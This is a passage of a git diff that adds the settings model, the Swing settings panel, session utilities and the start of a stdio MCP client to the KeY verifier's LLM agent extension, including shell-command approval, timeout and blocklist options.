+        createStringListProperty("availableModels", KeYAgentPrompts.DEFAULT_AVAILABLE_MODELS);
+
+    // --- agent behavior ---
+    private final PropertyEntry<String> systemPrompt =
+        createStringProperty("systemPrompt", KeYAgentPrompts.SYSTEM_PROMPT);
+    private final PropertyEntry<Integer> maxToolRounds = createIntegerProperty("maxToolRounds", 8);
+    private final PropertyEntry<Boolean> allowAgentQuestions =
+        createBooleanProperty("allowAgentQuestions", true);
+    private final PropertyEntry<Boolean> sendTemperature =
+        createBooleanProperty("sendTemperature", false);
+    private final PropertyEntry<Double> temperature = createDoubleProperty("temperature", 0.2);
+    private final PropertyEntry<Boolean> sendMaxOutputTokens =
+        createBooleanProperty("sendMaxOutputTokens", false);
+    private final PropertyEntry<Integer> maxOutputTokens =
+        createIntegerProperty("maxOutputTokens", 4096);
+    private final PropertyEntry<Boolean> agentCanUseSkills =
+        createBooleanProperty("agentCanUseSkills", false);
+
+    // --- context & history ---
+    private final PropertyEntry<Boolean> attachProofContext =
+        createBooleanProperty("attachProofContext", false);
+    private final PropertyEntry<Integer> proofContextMaxSequents =
+        createIntegerProperty("proofContextMaxSequents", 3);
+    private final PropertyEntry<Integer> proofContextMaxChars =
+        createIntegerProperty("proofContextMaxChars", 8000);
+    private final PropertyEntry<Integer> maxHistoryMessages =
+        createIntegerProperty("maxHistoryMessages", 30);
+    private final PropertyEntry<Integer> maxHistoryChars =
+        createIntegerProperty("maxHistoryChars", 32000);
+
+    // --- files ---
+    private final PropertyEntry<Integer> maxFileAttachments =
+        createIntegerProperty("maxFileAttachments", 10);
+    private final PropertyEntry<Integer> maxFileSizeKB = createIntegerProperty("maxFileSizeKB", 64);
+    private final PropertyEntry<Integer> maxFileContentChars =
+        createIntegerProperty("maxFileContentChars", 8000);
+    private final PropertyEntry<Integer> maxModelListingEntries =
+        createIntegerProperty("maxModelListingEntries", 1000);
+
+    // --- tools & security ---
+    private final PropertyEntry<Boolean> shellEnabled = createBooleanProperty("shellEnabled", true);
+    private final PropertyEntry<Integer> shellTimeoutSeconds =
+        createIntegerProperty("shellTimeoutSeconds", 30);
+    private final PropertyEntry<Integer> shellMaxOutputChars =
+        createIntegerProperty("shellMaxOutputChars", 65536);
+    private final PropertyEntry<List<String>> shellBlockedPatterns =
+        createStringListProperty("shellBlockedPatterns",
+            String.join(",", DEFAULT_SHELL_BLOCKED_PATTERNS));
+    private final PropertyEntry<Set<String>> toolsDisabled =
+        createStringSetProperty("toolsDisabled", new TreeSet<>());
+    private final PropertyEntry<Set<String>> allowedToolsWithApproval =
+        createStringSetProperty("allowedToolsWithApproval", new TreeSet<>());
+    private final PropertyEntry<Set<String>> allowedToolsWithoutApproval =
+        createStringSetProperty("allowedToolsWithoutApproval", new TreeSet<>());
+
+    // --- ui ---
+    private final PropertyEntry<Boolean> autoScrollOutput =
+        createBooleanProperty("autoScrollOutput", true);
+    private final PropertyEntry<Boolean> showToolActivity =
+        createBooleanProperty("showToolActivity", true);
+
+    public LlmSettings() {
+        super(CATEGORY);
+    }
+
+    /** Copy constructor; copies all persisted values from {@code other}. */
+    public LlmSettings(LlmSettings other) {
+        this();
+        setApiEndpoint(other.getApiEndpoint());
+        setAuthToken(other.getAuthToken());
+        setDefaultModel(other.getDefaultModel());
+        setAvailableModels(new ArrayList<>(other.getAvailableModels()));
+        setSystemPrompt(other.getSystemPrompt());
+        setMaxToolRounds(other.getMaxToolRounds());
+        setAllowAgentQuestions(other.getAllowAgentQuestions());
+        setSendTemperature(other.getSendTemperature());
+        setTemperature(other.getTemperature());
+        setSendMaxOutputTokens(other.getSendMaxOutputTokens());
+        setMaxOutputTokens(other.getMaxOutputTokens());
+        setAgentCanUseSkills(other.getAgentCanUseSkills());
+        setAttachProofContext(other.getAttachProofContext());
+        setProofContextMaxSequents(other.getProofContextMaxSequents());
+        setProofContextMaxChars(other.getProofContextMaxChars());
+        setMaxHistoryMessages(other.getMaxHistoryMessages());
+        setMaxHistoryChars(other.getMaxHistoryChars());
+        setMaxFileAttachments(other.getMaxFileAttachments());
+        setMaxFileSizeKB(other.getMaxFileSizeKB());
+        setMaxFileContentChars(other.getMaxFileContentChars());
+        setMaxModelListingEntries(other.getMaxModelListingEntries());
+        setShellEnabled(other.getShellEnabled());
+        setShellTimeoutSeconds(other.getShellTimeoutSeconds());
+        setShellMaxOutputChars(other.getShellMaxOutputChars());
+        setShellBlockedPatterns(new ArrayList<>(other.getShellBlockedPatterns()));
+        setToolsDisabled(new TreeSet<>(other.getToolsDisabled()));
+        setAllowedToolsWithApproval(new TreeSet<>(other.getAllowedToolsWithApproval()));
+        setAllowedToolsWithoutApproval(new TreeSet<>(other.getAllowedToolsWithoutApproval()));
+        setAutoScrollOutput(other.getAutoScrollOutput());
+        setShowToolActivity(other.getShowToolActivity());
+    }
+
+    // --- plain accessors ---
+
+    public String getApiEndpoint() {
+        return apiEndpoint.get();
+    }
+
+    public void setApiEndpoint(String apiEndpoint) {
+        this.apiEndpoint.set(apiEndpoint);
+    }
+
+    public String getAuthToken() {
+        return authToken.get();
+    }
+
+    public void setAuthToken(String authToken) {
+        this.authToken.set(authToken);
+    }
+
+    public List<String> getAvailableModels() {
+        return availableModels.get();
+    }
+
+    public void setAvailableModels(List<String> availableModels) {
+        this.availableModels.set(availableModels);
+    }
+
+    public String getDefaultModel() {
+        return defaultModel.get();
+    }
+
+    public void setDefaultModel(String defaultModel) {
+        this.defaultModel.set(defaultModel);
+    }
+
+    // --- agent behavior ---
+
+    public String getSystemPrompt() {
+        return systemPrompt.get();
+    }
+
+    public void setSystemPrompt(String systemPrompt) {
+        this.systemPrompt.set(systemPrompt);
+    }
+
+    public int getMaxToolRounds() {
+        return maxToolRounds.get();
+    }
+
+    public void setMaxToolRounds(int maxToolRounds) {
+        this.maxToolRounds.set(maxToolRounds);
+    }
+
+    public boolean getAllowAgentQuestions() {
+        return allowAgentQuestions.get();
+    }
+
+    public void setAllowAgentQuestions(boolean allow) {
+        this.allowAgentQuestions.set(allow);
+    }
+
+    public boolean getSendTemperature() {
+        return sendTemperature.get();
+    }
+
+    public void setSendTemperature(boolean send) {
+        this.sendTemperature.set(send);
+    }
+
+    public double getTemperature() {
+        return temperature.get();
+    }
+
+    public void setTemperature(double temperature) {
+        this.temperature.set(temperature);
+    }
+
+    public boolean getSendMaxOutputTokens() {
+        return sendMaxOutputTokens.get();
+    }
+
+    public void setSendMaxOutputTokens(boolean send) {
+        this.sendMaxOutputTokens.set(send);
+    }
+
+    public int getMaxOutputTokens() {
+        return maxOutputTokens.get();
+    }
+
+    public void setMaxOutputTokens(int max) {
+        this.maxOutputTokens.set(max);
+    }
+
+    public boolean getAgentCanUseSkills() {
+        return agentCanUseSkills.get();
+    }
+
+    public void setAgentCanUseSkills(boolean v) {
+        this.agentCanUseSkills.set(v);
+    }
+
+    // --- context & history ---
+
+    public boolean getAttachProofContext() {
+        return attachProofContext.get();
+    }
+
+    public void setAttachProofContext(boolean v) {
+        this.attachProofContext.set(v);
+    }
+
+    public int getProofContextMaxSequents() {
+        return proofContextMaxSequents.get();
+    }
+
+    public void setProofContextMaxSequents(int v) {
+        this.proofContextMaxSequents.set(v);
+    }
+
+    public int getProofContextMaxChars() {
+        return proofContextMaxChars.get();
+    }
+
+    public void setProofContextMaxChars(int v) {
+        this.proofContextMaxChars.set(v);
+    }
+
+    public int getMaxHistoryMessages() {
+        return maxHistoryMessages.get();
+    }
+
+    public void setMaxHistoryMessages(int v) {
+        this.maxHistoryMessages.set(v);
+    }
+
+    public int getMaxHistoryChars() {
+        return maxHistoryChars.get();
+    }
+
+    public void setMaxHistoryChars(int v) {
+        this.maxHistoryChars.set(v);
+    }
+
+    // --- files ---
+
+    public int getMaxFileAttachments() {
+        return maxFileAttachments.get();
+    }
+
+    public void setMaxFileAttachments(int v) {
+        this.maxFileAttachments.set(v);
+    }
+
+    public int getMaxFileSizeKB() {
+        return maxFileSizeKB.get();
+    }
+
+    public void setMaxFileSizeKB(int v) {
+        this.maxFileSizeKB.set(v);
+    }
+
+    public int getMaxFileContentChars() {
+        return maxFileContentChars.get();
+    }
+
+    public void setMaxFileContentChars(int v) {
+        this.maxFileContentChars.set(v);
+    }
+
+    public int getMaxModelListingEntries() {
+        return maxModelListingEntries.get();
+    }
+
+    public void setMaxModelListingEntries(int v) {
+        this.maxModelListingEntries.set(v);
+    }
+
+    // --- tools & security ---
+
+    public boolean getShellEnabled() {
+        return shellEnabled.get();
+    }
+
+    public void setShellEnabled(boolean v) {
+        this.shellEnabled.set(v);
+    }
+
+    public int getShellTimeoutSeconds() {
+        return shellTimeoutSeconds.get();
+    }
+
+    public void setShellTimeoutSeconds(int v) {
+        this.shellTimeoutSeconds.set(v);
+    }
+
+    public int getShellMaxOutputChars() {
+        return shellMaxOutputChars.get();
+    }
+
+    public void setShellMaxOutputChars(int v) {
+        this.shellMaxOutputChars.set(v);
+    }
+
+    public List<String> getShellBlockedPatterns() {
+        return shellBlockedPatterns.get();
+    }
+
+    public void setShellBlockedPatterns(List<String> v) {
+        this.shellBlockedPatterns.set(v);
+    }
+
+    public Set<String> getToolsDisabled() {
+        return toolsDisabled.get();
+    }
+
+    public void setToolsDisabled(Set<String> v) {
+        this.toolsDisabled.set(v);
+    }
+
+    public Set<String> getAllowedToolsWithApproval() {
+        return allowedToolsWithApproval.get();
+    }
+
+    public void setAllowedToolsWithApproval(Set<String> val) {
+        this.allowedToolsWithApproval.set(val);
+    }
+
+    public Set<String> getAllowedToolsWithoutApproval() {
+        return allowedToolsWithoutApproval.get();
+    }
+
+    public void setAllowedToolsWithoutApproval(Set<String> val) {
+        this.allowedToolsWithoutApproval.set(val);
+    }
+
+    // --- ui ---
+
+    public boolean getAutoScrollOutput() {
+        return autoScrollOutput.get();
+    }
+
+    public void setAutoScrollOutput(boolean v) {
+        this.autoScrollOutput.set(v);
+    }
+
+    public boolean getShowToolActivity() {
+        return showToolActivity.get();
+    }
+
+    public void setShowToolActivity(boolean v) {
+        this.showToolActivity.set(v);
+    }
+
+    /** Merges the user-defined blocklist with the built-in defaults. */
+    public List<String> getEffectiveShellBlockedPatterns() {
+        var all = new ArrayList<>(DEFAULT_SHELL_BLOCKED_PATTERNS);
+        for (String p : getShellBlockedPatterns()) {
+            if (p != null && !p.isBlank() && !all.contains(p)) {
+                all.add(p);
+            }
+        }
+        return all;
+    }
+
+    /**
+     * Returns the convenience accessor with the given key, or {@code null}.
+     *
+     * @param key one of the Turkish-style settings keys (unused placeholder for future use)
+     */
+    public @Nullable Object settingsBucket(String key) {
+        return null;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettingsUI.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettingsUI.java
new file mode 100644
index 00000000000..10ce168039d
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettingsUI.java
@@ -0,0 +1,254 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.event.ActionEvent;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.function.IntConsumer;
+import java.util.function.IntSupplier;
+import javax.swing.*;
+
+import de.uka.ilkd.key.gui.actions.KeyAction;
+import de.uka.ilkd.key.gui.settings.SettingsPanel;
+
+import org.key_project.key.llm.mcp.BuiltInMCPClient;
+
+/**
+ * Settings UI of the KeY LLM integration: connection, agent behavior, prompt/context budgets,
+ * file handling, shell security and tool approval.
+ *
+ * @author Alexander Weigl
+ */
+public class LlmSettingsUI extends SettingsPanel {
+    private final LlmSettings model;
+    private final JTextField txtApiBaseUrl;
+    private final JTextField txtAuthToken;
+    private final JComboBox<String> cboDefaultModel;
+    private final JList<String> selAvailableModels;
+    private final JButton btnFetchModels;
+    private final JTable selAvailableTools;
+
+    public LlmSettingsUI(LlmSettings settings) {
+        model = new LlmSettings(settings);
+
+        addSeparator("Connection");
+        txtApiBaseUrl = addTextField("API Base URL", model.getApiEndpoint(), "",
+            model::setApiEndpoint);
+        txtAuthToken = addTextField("Auth Token", model.getAuthToken(), "", model::setAuthToken);
+        cboDefaultModel = addComboBox("Default model", "Select the default model", 0,
+            model::setDefaultModel, model.getAvailableModels().toArray(new String[0]));
+
+        model.addPropertyChangeListener("availableModels", evt -> {
+            var seq = model.getAvailableModels().toArray(new String[0]);
+            var cboModel = new DefaultComboBoxModel<>(seq);
+            cboModel.setSelectedItem(cboDefaultModel.getSelectedItem());
+            cboDefaultModel.setModel(cboModel);
+        });
+
+        selAvailableModels = addListBox("Available Models", "", model::setAvailableModels,
+            model.getAvailableModels(), s -> s);
+
+        btnFetchModels = new JButton(new FetchModelsAction());
+        addTitledComponent("Model list", btnFetchModels,
+            "Fetches the available models from the API base URL.");
+
+        addSeparator("Agent behavior");
+        addTextArea("System prompt", model.getSystemPrompt(),
+            "The system prompt of the KeY-Agent (skills are appended while active).",
+            model::setSystemPrompt);
+        addCheckBox("Allow the agent to ask questions", "The agent may ask you a question "
+            + "(ask_user). Questioning pauses the turn until you answer.",
+            model.getAllowAgentQuestions(), model::setAllowAgentQuestions);
+        addIntField("Max tool rounds",
+            "Maximum number of tool-calling rounds in one agent turn.", model::getMaxToolRounds,
+            model::setMaxToolRounds);
+        addCheckBox("Send temperature", "Include a temperature value in requests.",
+            model.getSendTemperature(), model::setSendTemperature);
+        addDoubleField("Temperature", "", model::getTemperature, model::setTemperature);
+        addCheckBox("Send max output tokens", "Cap the number of generated tokens per response.",
+            model.getSendMaxOutputTokens(), model::setSendMaxOutputTokens);
+        addIntField("Max output tokens", "", model::getMaxOutputTokens, model::setMaxOutputTokens);
+        addCheckBox("Agent may use skills", "Give the agent a use_skill tool (default off).",
+            model.getAgentCanUseSkills(), model::setAgentCanUseSkills);
+
+        addSeparator("Context and history");
+        addCheckBox("Attach proof context by default",
+            "Whether a block describing the current proof state is attached to every prompt.",
+            model.getAttachProofContext(), model::setAttachProofContext);
+        addIntField("Max proof-context sequents", "", model::getProofContextMaxSequents,
+            model::setProofContextMaxSequents);
+        addIntField("Max proof-context chars", "", model::getProofContextMaxChars,
+            model::setProofContextMaxChars);
+        addIntField("Max history messages", "", model::getMaxHistoryMessages,
+            model::setMaxHistoryMessages);
+        addIntField("Max history chars", "", model::getMaxHistoryChars, model::setMaxHistoryChars);
+
+        addSeparator("Files");
+        addIntField("Max attached files", "", model::getMaxFileAttachments,
+            model::setMaxFileAttachments);
+        addIntField("Max file size (KB)", "", model::getMaxFileSizeKB, model::setMaxFileSizeKB);
+        addIntField("Max file content chars", "", model::getMaxFileContentChars,
+            model::setMaxFileContentChars);
+        addIntField("Max model listing entries", "", model::getMaxModelListingEntries,
+            model::setMaxModelListingEntries);
+
+        addSeparator("Shell commands");
+        addCheckBox("Enable shell commands (run_command)",
+            "Whether the agent may run shell commands at all (approval is still required).",
+            model.getShellEnabled(), model::setShellEnabled);
+        addIntField("Shell timeout (seconds)", "", model::getShellTimeoutSeconds,
+            model::setShellTimeoutSeconds);
+        addIntField("Shell max output chars", "", model::getShellMaxOutputChars,
+            model::setShellMaxOutputChars);
+        addTextArea("Blocked shell patterns",
+            String.join("\n", model.getShellBlockedPatterns()),
+            "Regular expressions of commands that are refused regardless of approval; one per line.",
+            s -> model.setShellBlockedPatterns(
+                Arrays.stream(s.split("\n")).map(String::strip).filter(x -> !x.isBlank())
+                        .toList()));
+
+        addSeparator("Tools");
+        var mcpClient = new BuiltInMCPClient().getAllToolNames().stream().toList();
+        var name = new Column<String, String>("Name", String.class, s -> s);
+        var disabled = new Column<String, Boolean>("Disabled", Boolean.class,
+            model.getToolsDisabled()::contains,
+            (s, value) -> {
+                if (value == Boolean.TRUE) {
+                    model.getToolsDisabled().add(s);
+                } else {
+                    model.getToolsDisabled().remove(s);
+                }
+            });
+        var withApproval = new Column<String, Boolean>("With approval", Boolean.class,
+            model.getAllowedToolsWithApproval()::contains,
+            (s, value) -> {
+                if (value == Boolean.TRUE) {
+                    model.getAllowedToolsWithApproval().add(s);
+                } else {
+                    model.getAllowedToolsWithApproval().remove(s);
+                }
+            });
+        var withoutApproval =
+            new Column<String, Boolean>("Without approval (always)", Boolean.class,
+                model.getAllowedToolsWithoutApproval()::contains,
+                (s, value) -> {
+                    if (value == Boolean.TRUE) {
+                        model.getAllowedToolsWithoutApproval().add(s);
+                    } else {
+                        model.getAllowedToolsWithoutApproval().remove(s);
+                    }
+                });
+        selAvailableTools = addTableBox("Tools", "Disable tools, or change their approval"
+            + " behavior. Disabled tools are not sent to the model at all.", mcpClient, name,
+            disabled, withApproval, withoutApproval);
+
+        // Set checkbox editor and renderer for boolean columns
+        selAvailableTools.setDefaultEditor(Boolean.class, new DefaultCellEditor(new JCheckBox()));
+        selAvailableTools.setDefaultRenderer(Boolean.class,
+            new javax.swing.table.DefaultTableCellRenderer() {
+                @Override
+                public java.awt.Component getTableCellRendererComponent(JTable table, Object value,
+                        boolean isSelected, boolean hasFocus, int row, int column) {
+                    JCheckBox checkBox = new JCheckBox();
+                    if (value instanceof Boolean bool) {
+                        checkBox.setSelected(bool);
+                    }
+                    checkBox.setHorizontalAlignment(JLabel.CENTER);
+                    if (isSelected) {
+                        checkBox.setBackground(table.getSelectionBackground());
+                        checkBox.setForeground(table.getSelectionForeground());
+                    } else {
+                        checkBox.setBackground(table.getBackground());
+                        checkBox.setForeground(table.getForeground());
+                    }
+                    return checkBox;
+                }
+            });
+
+        addSeparator("User interface");
+        addCheckBox("Auto-scroll output", "Automatically scroll to the newest messages.",
+            model.getAutoScrollOutput(), model::setAutoScrollOutput);
+        addCheckBox("Show tool activity", "Show a summary of tool calls in the conversation.",
+            model.getShowToolActivity(), model::setShowToolActivity);
+    }
+
+    /** Adds an integer spinner bound immediately to the settings model. */
+    private void addIntField(String title, String info, IntSupplier get, IntConsumer set) {
+        var spinner = new JSpinner(new SpinnerNumberModel(Math.max(0, get.getAsInt()), 0,
+            Integer.MAX_VALUE, 1));
+        addTitledComponent(title, spinner, info);
+        spinner.addChangeListener(
+            e -> set.accept(((Number) spinner.getValue()).intValue()));
+    }
+
+    /** Adds a double spinner bound immediately to the settings model. */
+    private void addDoubleField(String title, String info, java.util.function.DoubleSupplier get,
+            java.util.function.DoubleConsumer set) {
+        var spinner = new JSpinner(new SpinnerNumberModel(Math.max(0, get.getAsDouble()), 0.0,
+            2.0, 0.05));
+        addTitledComponent(title, spinner, info);
+        spinner.addChangeListener(
+            e -> set.accept(((Number) spinner.getValue()).doubleValue()));
+    }
+
+    public LlmSettings getModel() {
+        return model;
+    }
+
+    private class FetchModelsAction extends KeyAction {
+        public FetchModelsAction() {
+            setName("Fetch Models");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            setEnabled(false);
+            var worker = new SwingWorker<List<String>, Void>() {
+                @Override
+                protected List<String> doInBackground() throws Exception {
+                    var data =
+                        Util.httpGet(txtApiBaseUrl.getText() + "/openai/models",
+                            txtAuthToken.getText());
+                    var result = new ArrayList<String>(32);
+                    if (data != null && data.has("data")) {
+                        for (var model : data.getAsJsonArray("data")) {
+                            result.add(model.getAsJsonObject().get("id").getAsString());
+                        }
+                    }
+                    return result;
+                }
+
+                @Override
+                protected void done() {
+                    try {
+                        var seq = resultNow();
+                        if (seq.isEmpty()) {
+                            JOptionPane.showMessageDialog(LlmSettingsUI.this,
+                                "No models were returned.", "Fetch Models",
+                                JOptionPane.WARNING_MESSAGE);
+                            return;
+                        }
+                        selAvailableModels.clearSelection();
+                        var listModel = (DefaultListModel<String>) selAvailableModels.getModel();
+                        listModel.clear();
+                        listModel.addAll(seq);
+                        cboDefaultModel.setSelectedItem(listModel.get(0));
+                        var sorted = new ArrayList<>(seq);
+                        sorted.sort(String::compareTo);
+                        model.setAvailableModels(sorted);
+                    } catch (Exception ex) {
+                        JOptionPane.showMessageDialog(LlmSettingsUI.this,
+                            "Could not fetch models: " + ex.getMessage(), "Fetch Models",
+                            JOptionPane.ERROR_MESSAGE);
+                    } finally {
+                        setEnabled(true);
+                    }
+                }
+            };
+            worker.execute();
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmUtils.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmUtils.java
new file mode 100644
index 00000000000..b63d43c79ee
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmUtils.java
@@ -0,0 +1,79 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.net.URI;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.List;
+
+import de.uka.ilkd.key.gui.MainWindow;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ *
+ * @author Alexander Weigl
+ * @version 1 (11/18/25)
+ */
+public class LlmUtils {
+    private static @Nullable LlmSession globalSession;
+
+    public static LlmSession getSession(Proof proof) {
+        return getSession(LlmSettings.INSTANCE, proof);
+    }
+
+    public static LlmSession getSession(LlmSettings settings, Proof proof) {
+        if (proof != null) {
+            var session = proof.lookup(LlmSession.class);
+            if (session != null) {
+                return session;
+            }
+            session = LlmSession.createUsingSettings();
+            proof.register(session, LlmSession.class);
+            return session;
+        } else {
+            if (globalSession == null) {
+                globalSession = LlmSession.createUsingSettings();
+            }
+            return globalSession;
+        }
+    }
+
+    public static LlmSession getSession() {
+        return getSession(MainWindow.getInstance().getMediator().getSelectedProof());
+    }
+
+    public static List<URI> getPossibleFiles() throws IOException {
+        return getPossibleFiles(MainWindow.getInstance().getMediator().getSelectedProof());
+    }
+
+    public static List<URI> getPossibleFiles(@Nullable Proof selectedProof) throws IOException {
+        if (selectedProof == null) {
+            return List.of();
+        }
+
+        // selectedProof.getEnv().getServicesForEnvironment().getJavaModel().getBootClassPath();
+        // selectedProof.getEnv().getServicesForEnvironment().getJavaModel().getClassPath();
+        final var javaModel = selectedProof.getEnv().getServicesForEnvironment().getJavaModel();
+        if (javaModel == null) {
+            return List.of();
+        }
+
+        var javaSrc = javaModel.getModelDir();
+        if (javaSrc == null) {
+            return List.of();
+        }
+
+        if (Files.isRegularFile(javaSrc)) {
+            return List.of(javaSrc.toUri());
+        }
+
+        // bounded listing; the unbounded Files.walk was replaced by FileAccess.listFiles
+        return FileAccess.listFiles(selectedProof, LlmSettings.INSTANCE.getMaxModelListingEntries())
+                .stream().map(Path::toUri).toList();
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/McpClientStdio.java b/keyext.llm/src/main/java/org/key_project/key/llm/McpClientStdio.java
new file mode 100644
index 00000000000..3751ada10ef
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/McpClientStdio.java
@@ -0,0 +1,443 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.key_project.key.llm.mcp.FunctionDefinition;
+import org.key_project.key.llm.mcp.JsonSchema;
+import org.key_project.key.llm.mcp.McpClient;
+import org.key_project.key.llm.mcp.Tool;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * A standard I/O-based MCP (Model Context Protocol) client implementation.
+ * <p>
+ * This client communicates with MCP servers via stdin/stdout using JSON-RPC 2.0 protocol.
+ * It supports:
+ * <ul>
+ * <li>Tool discovery via {@code tools/list}</li>
+ * <li>Tool invocation via {@code tools/call}</li>
+ * <li>Resource access via {@code resources/read}</li>
+ * <li>Resource listing via {@code resources/list}</li>
+ * </ul>
+ * <p>
+ * <b>Usage Example:</b>
+ * <pre>{@code
+ * // Start an MCP server process (e.g., a filesystem server)
+ * ProcessBuilder pb = new ProcessBuilder("npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/docs");
+ * Process process = pb.start();
+ *
+ * // Create the MCP client
+ * McpClientStdio mcpClient = new McpClientStdio(process);
+ * mcpClient.initialize();
+ *
+ * // Use with the agent loop
+ * AgentLoop loop = new AgentLoop(session, new DefaultChatCompletionsClient());
+ *
+ * // Cleanup
+ * mcpClient.close();
+ * }</pre>
+ *
+ * @author Alexander Weigl
+ * @version 1.0 (6/28/26)
+ * @see McpClient
+ * @see <a href="https://modelcontextprotocol.io/">Model Context Protocol Specification</a>
+ */
+public class McpClientStdio implements McpClient {
+    private static final Logger logger = LoggerFactory.getLogger(McpClientStdio.class);
+    private static final Gson GSON = new GsonBuilder().create();
+
+    private final Process process;
+    private final BufferedReader inputReader;
+    private final OutputStream outputStream;
+    private final AtomicInteger requestIdGenerator = new AtomicInteger(0);
+    private final Map<String, Object> serverCapabilities = new ConcurrentHashMap<>();
+    private final List<Map<String, Object>> cachedTools = new ArrayList<>();
+    private volatile boolean closed = false;
+    private volatile boolean initialized = false;
+
+    /**
+     * Creates a new MCP client that communicates with the given process via stdio.
+     * <p>
+     * The process should already be started before calling this constructor.
+     *
+     * @param process The MCP server process
+     * @throws IOException If reading from the process fails during initialization
+     */
+    public McpClientStdio(Process process) throws IOException {
+        this.process = process;
+        this.inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
+        this.outputStream = process.getOutputStream();
+    }
+
+    /**
+     * Initializes the connection to the MCP server by sending an initialize request
+     * and discovering available tools.
+     *
+     * @throws IOException If communication with the server fails
+     * @throws InterruptedException If interrupted during initialization
+     */
+    public void initialize() throws IOException, InterruptedException {
+        if (initialized) {
+            return;
+        }
+
+        logger.debug("Initializing MCP connection...");
+
+        // Send initialize request
+        JsonObject initRequest = createJsonRpcRequest("initialize", Map.of(
+            "protocolVersion", "2024-11-05",
+            "capabilities", Map.of(),
+            "clientInfo", Map.of(
+                "name", "KeY-MCP-Client",
+                "version", "1.0.0")));
+
+        sendRequest(initRequest);
+        JsonObject initResponse = readResponse();
+
+        if (initResponse != null && initResponse.has("result")) {
+            JsonObject result = initResponse.getAsJsonObject("result");
+            serverCapabilities.putAll(GSON.fromJson(result.get("capabilities"), Map.class));
+            logger.debug("Server capabilities: {}", serverCapabilities);
+        }
+
+        // Send initialized notification
+        JsonObject initializedNotification = createJsonRpcNotification("notifications/initialized");
+        sendRequest(initializedNotification);
+
+        // Discover tools
+        discoverTools();
+
+        initialized = true;
+        logger.info("MCP client initialized successfully");
+    }
+
+    /**
+     * Discovers available tools from the MCP server and caches them.
+     *
+     * @throws IOException If communication fails
+     * @throws InterruptedException If interrupted
+     */
+    @SuppressWarnings("unchecked")
+    private void discoverTools() throws IOException, InterruptedException {
+        JsonObject toolsRequest = createJsonRpcRequest("tools/list", null);
+        sendRequest(toolsRequest);
+        JsonObject toolsResponse = readResponse();
+
+        cachedTools.clear();
+        if (toolsResponse != null && toolsResponse.has("result")) {
+            JsonObject result = toolsResponse.getAsJsonObject("result");
+            if (result.has("tools")) {
+                List<?> toolsList = GSON.fromJson(result.get("tools"), List.class);
+                for (Object toolObj : toolsList) {
+                    Map<String, Object> tool = (Map<String, Object>) toolObj;
+                    cachedTools.add(convertToolToOpenAiFormat(tool));
+                }
+            }
+        }
+        logger.debug("Discovered {} tools", cachedTools.size());
+    }
+
+    /**
+     * Converts an MCP tool definition to OpenAI API format.
+     *
+     * @param mcpTool The MCP tool definition
+     * @return The tool in OpenAI API format
+     */
+    @SuppressWarnings("unchecked")
+    private Map<String, Object> convertToolToOpenAiFormat(Map<String, Object> mcpTool) {
+        var openAiTool = new HashMap<String, Object>();
+        openAiTool.put("type", "function");
+
+        var function = new HashMap<String, Object>();
+        function.put("name", mcpTool.get("name"));
+        function.put("description", mcpTool.getOrDefault("description", ""));
+
+        // Convert MCP schema to JSON Schema format
+        if (mcpTool.containsKey("inputSchema")) {
+            function.put("parameters", mcpTool.get("inputSchema"));
+        } else {
+            var emptySchema = new HashMap<String, Object>();
+            emptySchema.put("type", "object");
+            emptySchema.put("properties", new HashMap<>());
+            function.put("parameters", emptySchema);
+        }
+
+        openAiTool.put("function", function);
+        return openAiTool;
+    }
+
+    @SuppressWarnings("unchecked")
+    @Override
+    public List<Tool> getTools() {
+        // convert the cached (OpenAI-format) tool maps back into Tool value objects
+        var result = new ArrayList<Tool>(cachedTools.size());
+        for (Map<String, Object> tool : cachedTools) {
+            try {
+                var function = (Map<String, Object>) tool.get("function");
+                var parameters = function.get("parameters");
+                JsonSchema schema = parseSchema(parameters);
+                result.add(new Tool(new FunctionDefinition((String) function.get("name"),
+                    (String) function.getOrDefault("description", ""), schema)));
+            } catch (Exception e) {
+                logger.warn("Could not convert discovered MCP tool", e);
+            }
+        }
+        return result;
+    }
+
+    @SuppressWarnings("unchecked")
+    private static JsonSchema parseSchema(Object parameters) {
+        if (!(parameters instanceof Map<?, ?> map)) {
+            return new JsonSchema("object");
+        }
+        var builder = JsonSchema.builder();
+        Object type = map.get("type");
+        builder.withType(type == null ? "object" : String.valueOf(type));
+        Object properties = map.get("properties");
+        if (properties instanceof Map<?, ?> props) {
+            for (Map.Entry<?, ?> entry : props.entrySet()) {
+                builder.addProperty(String.valueOf(entry.getKey()),
+                    parseSchema(entry.getValue()));
+            }
+        }
+        Object required = map.get("required");
+        if (required instanceof List<?> list) {
